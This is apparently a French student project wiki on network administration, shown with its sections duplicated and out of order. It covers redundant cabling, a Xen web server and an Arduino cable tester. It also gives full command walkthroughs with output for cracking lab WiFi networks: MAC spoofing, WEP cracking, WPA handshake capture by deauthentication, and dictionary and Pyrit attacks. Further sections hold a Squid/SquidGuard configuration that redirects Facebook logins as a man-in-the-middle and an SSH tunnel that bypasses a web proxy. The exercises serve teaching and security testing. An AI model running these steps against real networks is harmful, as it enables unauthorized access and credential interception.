0x0030: 6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35 l.-...?..1S./..5
0x0040: b7bd 03c5 5093 ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13 Data packet found!
12:02:13 Sending fragmented packet
</pre>
Et enfin, aircrack trouve la clé.
<pre>
Aircrack-ng 1.2 rc2

[00:02:12] Tested 853 keys (got 40800 IVs)

KB depth byte(vote)
0 0/ 9 55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568)
1 0/ 1 52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592)
2 0/ 1 55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824)
3 13/ 3 79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800)
4 1/ 4 CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824)

KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ]
Decrypted correctly: 100%
</pre>
==== Accès par filtrage WPA ====
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.
<pre>
#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
$tmp = sprintf("[%02d]\n", $j);
print STDERR $tmp;
for (my $i=0; $i < ($max); $i++)
{
$outp = sprintf("%08d\n", $ite);
$ite++;
print $outp;
}
}
</pre>
Nous lançons donc la génération avec la commande
<pre>
# ./gen.pl > dic.txt
</pre>
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.
<pre>
859M -rw-r--r-- 1 root root 859M nov. 13 09:41 dic.txt
</pre>
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".
<pre>
# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1
</pre>
Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.
<pre>
# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1
</pre>
Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.
<pre>
# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
# BSSID ESSID Encryption

1 00:13:46:79:6A:1C Almost Secure WiFI WPA (1 handshake)
</pre>
=====Attaque par dictionnaire=====
A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.
<pre>
# aircrack-ng -w dico.txt *.cap
Aircrack-ng 1.2 beta3
[00:58:30] 12121212 keys tested (3659.24 k/s)
KEY FOUND! [ 12121212 ]
Master Key : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
Transient Key : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
EAPOL HMAC : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE
</pre>
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.
=====Attaque par Rainbow Tables=====
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.
<pre>
# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Created ESSID 'Almost Secure WiFI'
</pre>
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.
<pre>
# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
100000000 lines read. Flushing buffers... ..
All done.
</pre>
Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.
</pre>
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.
<pre>
# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)
</pre>
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.
<pre>
# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.
</pre>
Maintenant que la "rainbow table" est générée, nous lançons l'attaque.
<pre>
# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'... connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.
</pre>
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

=====Algorithme de génération de PMK=====
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.
<pre>
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)
</pre>
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
*[PASSWORD] Le mot de passe
*[SALT] Le salage (ici l'ESSID)
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
*[LEN] La longueur du résultat de la fonction (ici 256)
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.
<pre>
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount
</pre>
Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.
<pre>
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)
</pre>
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:
*[KEY] la clé utilisée pour encoder le message
*[MSG] le message à encoder
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)
Le principe de fonctionnement est le suivant:
<pre>
function HMAC(KEY, MSG, H, HLEN)
if(length(KEY) > HLEN)
KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
if(length(KEY) < HLEN)
KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

opad_key = (opad * HLEN) ^ KEY;
ipad_key = (ipad * HLEN) ^ KEY;

return H(opad_key || H(ipad_key || MSG)
</pre>
Dans cette fonction:
*L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
*L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
*L'opérateur ^ désigne l'opérateur XOR logique
*La variable opad est une constance valant 0x5C
*La variable ipad est une constance valant 0x36
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.
<pre>
function SHA1(PASS)
h0 = 0x67452301
h1 = 0xEFCDAB89
h2 = 0x98BADCFE
h3 = 0x10325476
h4 = 0xC3D2E1F0
ml = message length in bits (always a multiple of the number of bits in a character).

append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

break message into 512-bit chunks
for each chunk
break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

//Extend the sixteen 32-bit words into eighty 32-bit words:
for i from 16 to 79
w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

//Initialize hash value for this chunk:
a = h0
b = h1
c = h2
d = h3
e = h4

//Main loop
for i from 0 to 79
if 0 ≤ i ≤ 19 then
f = (b and c) or ((not b) and d)
k = 0x5A827999
else if 20 ≤ i ≤ 39
f = b xor c xor d
k = 0x6ED9EBA1
else if 40 ≤ i ≤ 59
f = (b and c) or (b and d) or (c and d)
k = 0x8F1BBCDC
else if 60 ≤ i ≤ 79
f = b xor c xor d
k = 0xCA62C1D6

temp = (a leftrotate 5) + f + e + k + w[i]
e = d
d = c
c = b leftrotate 30
b = a
a = temp

//Add this chunk's hash to result so far:
h0 = h0 + a
h1 = h1 + b
h2 = h2 + c
h3 = h3 + d
h4 = h4 + e

//Produce the final hash value (big-endian) as a 160 bit number:
hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4
</pre>
===Attaque Man In the Middle de Facebook===
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid
<pre>
acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second
</pre>
Config Squidguard
<pre>
dbhome /usr/local/squidGuard/db

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}
</pre>
cat /usr/local/squidGuard/db/facebook/url
<pre>
fr-fr.facebook.com
</pre>

===Contournement d'un proxy===
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant un accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécessaires.
<pre>
# apt-get install openssh-server proxytunnel isc-dhcp-server
</pre>
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.
<pre>
# vim /root/.ssh/config
Host perfectTunnel
Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
User root
Port 443
ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p
</pre>
Ensuite, nous réalisons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.
<pre>
ssh \
-o PermitLocalCommand=yes \
-o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
-o ServerAliveInterval=60 \
-w 5:5 perfectTunnel \
'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'
</pre>
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.
<pre>
# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms
</pre>
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.
<pre>
# route del default
# route add default gw 12.24.48.1
</pre>
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.
<pre>
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms
</pre>
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).
<pre>
# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
range 118.218.1.1 118.218.254.254;
option routers 118.218.0.1;
option subnet-mask 255.255.0.0;
option broadcast-address 118.218.255.255;
option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;
</pre>
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.
<pre>
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE
</pre>
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.
<pre>
echo 1 > /proc/sys/net/ipv4/ip_forward
</pre>

== La partie bonus ==

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

=== Utilisation de l'écran LCD ===

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :
<pre>
const char letter_A[] PROGMEM = {
0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};
</pre>

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

=== Utilisation du lecteur de carte SD ===

Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.

Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.

Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.

=== Communication avec le matériel Cisco ===

[[Fichier:ciscoChecker.png|200px|thumb|left]]Afin de pouvoir tester le réseau, notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.

Nous avons commencé par étudier le fonctionnement de ce composant. Ensuite, nous avons créé un schéma réalisant la fonction que nous voulions, c'est à dire la conversion d'un signal série issu de l'Arduino vers un signal série utilisable sur le matériel Cisco. Nous avons donc été amené à concevoir l'empreinte d'un connecteur femelle RJ45 de la société Amphenol ([https://www.amphenolcanada.com/ProductSearch/drawings/AC/RJHSE508X.pdf dont la documentation est disponible ici]). Nous avons ensuite utilisé les documents libres fournis par Arduino pour concevoir un shield compatible avec les Arduino Uno.

Après la phase de conception (et quelques améliorations apportés par M. Boe et M. Flamen), nous avons pu lancer en production notre carte. Une fois les composants soudés, nous avons testé la carte. Finalement, celle-ci est à moitié fonctionnelle. En effet, elle est capable d'émettre correctement, mais ne reçoit pas correctement les signaux. Une des hypothèses serait un défaut dans le câblage des LEDs du port RJ45 à cause d'une erreur dans la documentation d'Amphenol (les LEDs ne sont finalement pas bidirectionnelles). Si le temps le permet, un diagnostique plus poussé sera mené sur la carte.

=== Réalisation du code pour les appareil Cisco ===

Dès que la carte électronique fonctionnera correctement, il suffira à celle-ci d'envoyer des commandes au matériel Cisco.
<pre>
show interfaces status | include INAME\
</pre>
Dans notre commande, INAME est le nom de l'interface pour laquelle on désire vérifier la connexion. INAME est directement suivi d'un antislash et d'un espace pour éviter des problèmes de filtrage (exemple: Gi0/30 qui répond à la requête de Gi0/3). La liste des ces interfaces est indiquée sur le carte SD. Chaque matériel Cisco, qui est identifié par le nom qu'il donne lors de l'appuie sur la touche "entrée" possède sa propre liste de connections sur la SD, et ceci en correspondance avec le câblage que nous avons effectué dans le début de notre projet.

PRA 2015 - Câblage d'un réseau redondant

2015-12-10T09:51:28Z

Froyer1 : /* Réalisation du code pour les appareil Cisco */

__TOC__
== Introduction ==
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.
== Câblage du résau ==
=== Le réseau idéal ===
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

[[Fichier:PRA15 - Réseau Idéal.png]]

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

=== L'avancement du cablage du réseau ===

L'image suivante détaille l'état du réseau avant le 07/10/2015.

[[Fichier:PRA15 - Réseau Temporaire.png]]

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

== La partie commune ==
=== Création d'un site Web haute disponibilité ===
==== Installation de la machine virtuelle ====
D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.
<pre>
# cat /etc/xen/kwak.cfg
kernel = '/boot/vmlinuz-3.14-2-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-3.14-2-amd64'
vcpus = '1'
memory = '512'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
]
name = 'kwak'
vif = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
</pre>
Ensuite, nous démarrons notre machine virtuelle.
<pre>
# xl create /etc/xen/kwak.cfg
</pre>
Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).
<pre>
# xl console kwak
</pre>
Enfin, nous installons les services dont nous allons avoir besoin par la suite.
<pre>
# apt-get install apache2 bind
</pre>

==== Mise en place du service web ====
Pour réaliser notre site web, nous avons commencé par créer une page web basée sur notre nom de domaine: [http://pinkfluffyunicorn.lol pinkfluffyunicorn.lol]
<pre>
<!DOCTYPE>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
<iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
<script>
$(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
$(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
});
</script>
</body>
</html>
</pre>

=== Tests de sécurisation de réseaux WiFi ===
==== Accès par filtrage MAC ====
Nous avons commencé par effectuer une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisée sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.
<pre>
airodump-ng start wlan0
</pre>
Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

<pre>
airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -63 9 0 0 4 54e. OPN baguette
</pre>

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

<pre>
airodump-ng --essid baguette wlan0mon

CH 4 ][ Elapsed: 18 s ][ 2015-10-22 13:29
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C4:14:3C:40:78:60 -52 100 146 1 0 4 54e. OPN baguette

BSSID STATION PWR Rate Lost Frames Probe
C4:14:3C:40:78:60 00:15:AF:E7:19:F3 -59 0 - 5e 0 1
</pre>

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

<pre>
ifconfig wlan1 hw ether C4:14:3C:40:78:60
</pre>

==== Accès par filtrage WEP ====
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.
<pre>
#airmon-ng
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY Interface Driver Chipset

phy1 wlan3 rt2500usb D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
(mac80211 station mode vif disabled for [phy1]wlan3)
</pre>
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.
<pre>
#airodump-ng wlan3mon
CH 9 ][ Elapsed: 0 s ][ 2015-11-12 11:58

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:23:5E:1E:05:48 -57 2 0 0 7 54e. OPN cracotte09
00:23:5E:1E:05:41 -56 3 0 0 7 54e. WEP WEP cracotte02
00:23:5E:1E:05:45 -57 3 22 0 7 54e. WEP WEP cracotte06
00:23:5E:1E:05:44 -56 2 19 0 7 54e. WEP WEP cracotte05
